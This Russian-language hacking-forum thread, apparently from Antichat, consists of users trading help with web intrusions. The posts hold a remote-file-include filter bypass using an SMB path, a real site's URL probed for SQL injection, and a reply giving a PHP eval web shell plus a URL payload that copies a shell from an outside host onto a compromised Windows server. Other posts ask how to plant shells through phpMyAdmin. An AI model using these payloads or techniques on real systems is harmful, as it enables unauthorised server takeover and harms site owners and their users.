25.04.2010, 17:14
|
|
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
С нами:
9364549
Репутация:
184
|
|
Подскажите, возможно ли как-нибудь все-таки скормить урл для include($MEGA-VARIABLE.'file.php'), если перед этим он редактируется вот так:
preg_replace( "/[a-z]/i", "", $MEGA-VARIABLE);
Или без вариантов?
PS Можно айпи дать напрямую, но http съедается..
Последний раз редактировалось budden; 25.04.2010 в 17:27..
|
|
|
26.04.2010, 15:23
|
|
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
С нами:
9364549
Репутация:
184
|
|
Сообщение от budden
Подскажите, возможно ли как-нибудь все-таки скормить урл для include($MEGA-VARIABLE.'file.php'), если перед этим он редактируется вот так:
preg_replace( "/[a-z]/i", "", $MEGA-VARIABLE);
Или без вариантов?
PS Можно айпи дать напрямую, но http съедается..
Продолжаю с этим копаться.
Посмотрел сюда: http://www.php.net/manual/en/wrappers.file.php
И увидел такой вариант:
\\smbserver\share\path\to\winfile.ext
Получится ли у меня сделать финт вот так:
$MEGA-VARIABLE=\\192.192.192.192\123 ?
А в share уже положив \123\file.php с текстовой отдачей?
Если да, то подскажите please как можно по-быстрому на линуксе share сделать? только samba или есть что полегче?
|
|
|
|
26.04.2010, 17:41
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Сообщение от budden
Продолжаю с этим копаться.
Посмотрел сюда: http://www.php.net/manual/en/wrappers.file.php
И увидел такой вариант:
\\smbserver\share\path\to\winfile.ext
Получится ли у меня сделать финт вот так:
$MEGA-VARIABLE=\\192.192.192.192\123 ?
А в share уже положив \123\file.php с текстовой отдачей?
Если да, то подскажите please как можно по-быстрому на линуксе share сделать? только samba или есть что полегче?
почему бы не попробовать?
\\smbserver\share\path\to\winfile.ext
это только для венды
|
|
|
|
25.04.2010, 18:07
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
если FreeBsD криво настроенный - то можно содержимое папочек увидеть
|
|
|
|
25.04.2010, 21:09
|
|
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
С нами:
8797559
Репутация:
-16
|
|
http://www.oragir.am/news.php?id=-13%27a
tut sql ??
|
|
|
|
25.04.2010, 21:14
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
С нами:
8638130
Репутация:
54
|
|
нет
|
|
|
|
25.04.2010, 21:49
|
|
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
С нами:
8772211
Репутация:
56
|
|
Залил через скуль конструкцию вида <?system ($_GET ['cmd']);?> , сервер работает под виндой, wget и curl не катят, как можно залить полноценный шелл?
Последний раз редактировалось Redwood; 25.04.2010 в 22:01..
|
|
|
|
25.04.2010, 22:05
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
Сообщение от Redwood
Залил через скуль конструкцию вида <?system ($_GET ['cmd']);?> , сервер работает под виндой, wget и curl не катят, как можно залить полноценный шелл?
льешь <?php eval(stripslashes($_GET[id])); ?>
http://site.ru/shell.php?id=copy('http://google.ru/shell.php','/куда/лить/shell.php');
|
|
|
|
25.04.2010, 23:08
|
|
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
С нами:
9534473
Репутация:
18
|
|
Пипл, подскажите, есть доступ к phpMyAdmin. Как залить полноценный шел?
|
|
|
|
25.04.2010, 23:11
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 547
С нами:
8885780
Репутация:
672
|
|
Сообщение от GOGA075
Пипл, подскажите, есть доступ к phpMyAdmin. Как залить полноценный шел?
http://forum.antichat.ru/showthread.php?p=1000812
|
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
|
|
|
|
![Аватар для .:[melkiy]:.](/avatars/avatar74910.png?23){kind=avatar}
Похожие темы
Комбинированный вид
